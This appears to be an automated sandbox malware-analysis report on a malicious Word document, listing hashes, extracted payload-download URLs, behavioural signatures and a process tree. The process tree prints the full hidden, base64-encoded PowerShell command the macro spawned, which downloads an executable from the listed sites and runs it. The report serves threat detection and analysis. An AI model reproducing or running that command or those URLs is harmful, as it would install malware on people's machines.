Analysis
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max time kernel
133s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 10:44
Behavioral task
behavioral1
Sample
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
Resource
win10v2004-20241007-en
General
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Target
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc
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Size
291KB
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MD5
a46d29710dd6382d57bd63956a70398c
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SHA1
2c2a7a24cb960cf6c681f49de8289b3c926052b3
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SHA256
4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f
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SHA512
66c718e7fe4cd762efa2c86392647b2db5f42a4c8bcb69110e1145a5bf85669d02281a25964780962eed24090cbf52a585e80010402e382978f1a1d088cd9e3e
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SSDEEP
6144:T0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Mq0XLswqqj2Ng+/HCxJtbGqFN:T0E3dxtR/iU9mvUPMqUsw32Ng+/HCxJt
Malware Config
Extracted
http://www.besthelpinghand.com/wp-admin/tsh4/
http://safari7.devitsandbox.com/error-log/wuuie/
https://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/
http://hecquet.info/clickandbuilds/mV8Sn/
http://trungcapduochanoi.info/wp-admin/w3pg1ny/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4452 1608 Powershell.exe 83 -
Blocklisted process makes network request 4 IoCs
flow pid Process 21 4452 Powershell.exe 26 4452 Powershell.exe 29 4452 Powershell.exe 31 4452 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4452 Powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1316 WINWORD.EXE 1316 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4452 Powershell.exe 4452 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4452 Powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE 1316 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1316
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABaAGYAZABoAHEAbAB6AGwAcgBrAD0AJwBVAGwAbgByAHIAcgBsAHcAYQB2AGcAbwAnADsAJABVAHcAaQBwAGgAdgB2AHYAZwBzAHkAIAA9ACAAJwA5ADIANAAnADsAJABOAHUAawB1AHoAYwBmAHMAYwBoAD0AJwBBAGwAYgBjAG0AZQB2AG4AawBpAGUAcABiACcAOwAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQB3AGkAcABoAHYAdgB2AGcAcwB5ACsAJwAuAGUAeABlACcAOwAkAEoAZQB6AHAAagB0AGEAbAByAD0AJwBFAHIAcAB0AGwAagBmAHUAbABrAHkAJwA7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBCAGMATABpAGUAbgB0ADsAJABWAHQAaQBjAGkAeABiAHkAawBkAHYAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAZQBzAHQAaABlAGwAcABpAG4AZwBoAGEAbgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB0AHMAaAA0AC8AKgBoAHQAdABwADoALwAvAHMAYQBmAGEAcgBpADcALgBkAGUAdgBpAHQAcwBhAG4AZABiAG8AeAAuAGMAbwBtAC8AZQByAHIAbwByAC0AbABvAGcALwB3AHUAdQBpAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBpAGMAbwBuAGUAcAByAG8AagBlAHQAbwBzAC4AZQBuAGcALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBwAGsATwBPAHcARABvAEkALwAqAGgAdAB0AHAAOgAvAC8AaABlAGMAcQB1AGUAdAAuAGkAbgBmAG8ALwBjAGwAaQBjAGsAYQBuAGQAYgB1AGkAbABkAHMALwBtAFYAOABTAG4ALwAqAGgAdAB0AHAAOgAvAC8AdAByAHUAbgBnAGMAYQBwAGQAdQBvAGMAaABhAG4AbwBpAC4AaQBuAGYAbwAvAHcAcAAtAGEAZABtAGkAbgAvAHcAMwBwAGcAMQBuAHkALwAnAC4AIgBTAFAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAYwBrAGIAZQBxAHYAdABtAHYAdgBvAD0AJwBDAGQAYQBhAGsAdgB4AHoAZAB4AHEAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABnAG8AcABkAHgAbgBlAGgAIABpAG4AIAAkAFYAdABpAGMAaQB4AGIAeQBrAGQAdgBkACkAewB0AHIAeQB7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAC4AIgBEAE8AdwBgAE4ATABPAGEARABmAGAAaQBsAGUAIgAoACQAWABnAG8AcABkAHgAbgBlAGgALAAgACQAUgBuAHgAZQBxAHIAaABsAHQAbgBtACkAOwAkAEcAYgB3AGsAbABnAGYAZwBpAHkAPQAnAE0AdgBzAHcAdABmAGgAcQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQApAC4AIgBMAEUATgBgAEcAdABoACIAIAAtAGcAZQAgADIAMgA4ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABSAG4AeABlAHEAcgBoAGwAdABuAG0AKQA7ACQASwBvAHgAdgBqAHoAbQBsAGgAdgA9ACcASwB6AGsAYwB4AG4AdgB1AGIAdABqACcAOwBiAHIAZQBhAGsAOwAkAEgAZwBlAGsAcABkAGYAbwA9ACcAVwBuAGsAdgBnAHcAbgB6AGUAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGkAYwBrAGQAaQB3AGoAcgA9ACcAUwBjAHQAaABhAHMAcwBmAHoAdQBuACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84